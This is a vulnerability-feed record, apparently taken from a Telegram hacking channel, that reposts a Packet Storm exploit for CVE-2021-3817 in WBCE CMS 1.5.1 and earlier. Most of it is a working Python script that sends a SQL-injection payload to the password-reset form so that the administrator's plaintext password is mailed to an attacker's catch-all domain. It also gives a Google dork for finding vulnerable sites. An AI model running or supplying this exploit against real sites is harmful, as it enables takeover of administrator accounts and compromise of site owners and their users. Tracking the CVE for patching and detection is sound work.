{"uuid": "ec8e17bb-30d9-48ef-bbee-be11db793498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3817", "type": "seen", "source": "https://t.me/hacking_Attack/35843", "content": "Exploit Collector\nWBCE CMS 1.5.1 Admin Password Reset\n\nhttps://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png \nWBCE CMS versions 1.5.1 and below suffer from an administrative password reset vulnerability.\n\nMD5 | bd387503be1f4981f739444d3fc5cb4b\n\nDownload\n# Exploit Title: WBCE CMS 1.5.1 - Admin Password Reset\n# Google Dork: intext: \"Way Better Content Editing\"\n# Date: 20/12/2021\n# Exploit Author: citril or https://github.com/maxway2021\n# Vendor Homepage: https://wbce.org/\n# Software Link: https://wbce.org/de/downloads/\n# Version: <=\n# Tested on: Linux\n# CVE : CVE-2021-3817\n# Github repo: https://github.com/WBCE/WBCE_CMS\n# Writeup: https://medium.com/@citril/cve-2021-3817-from-sqli-to-plaintext-admin-password-recovery-13735773cc75\n\nimport requests\n\n_url = 'http://localhost/wbce/admin/login/forgot/index.php' # from mylocalhost environment\n_domain = 'pylibs.org' # you have to catch all emails! I used Namecheap domain controller's 'catch all emails and redirect to specific email address' feature\n\nheaders = {\n'User-Agent': 'Mozilla/5.0',\n'Accept':\n'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',\n'Accept-Language': 'en-US,en;q=0.5',\n'Content-Type': 'application/x-www-form-urlencoded',\n'Connection': 'close'\n}\n\n_p = \"email=%27/**/or/**/user_id=1/**/or/**/'admin%40\" + _domain + \"&submit=justrandomvalue\"\n\nr = requests.post(url = _url, headers = headers, data = _p)\nif r.status_code == 200:\nprint('[+] Check your email, you are probably going to receive plaintext password which belongs to administrator.')\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:02.034943Z"}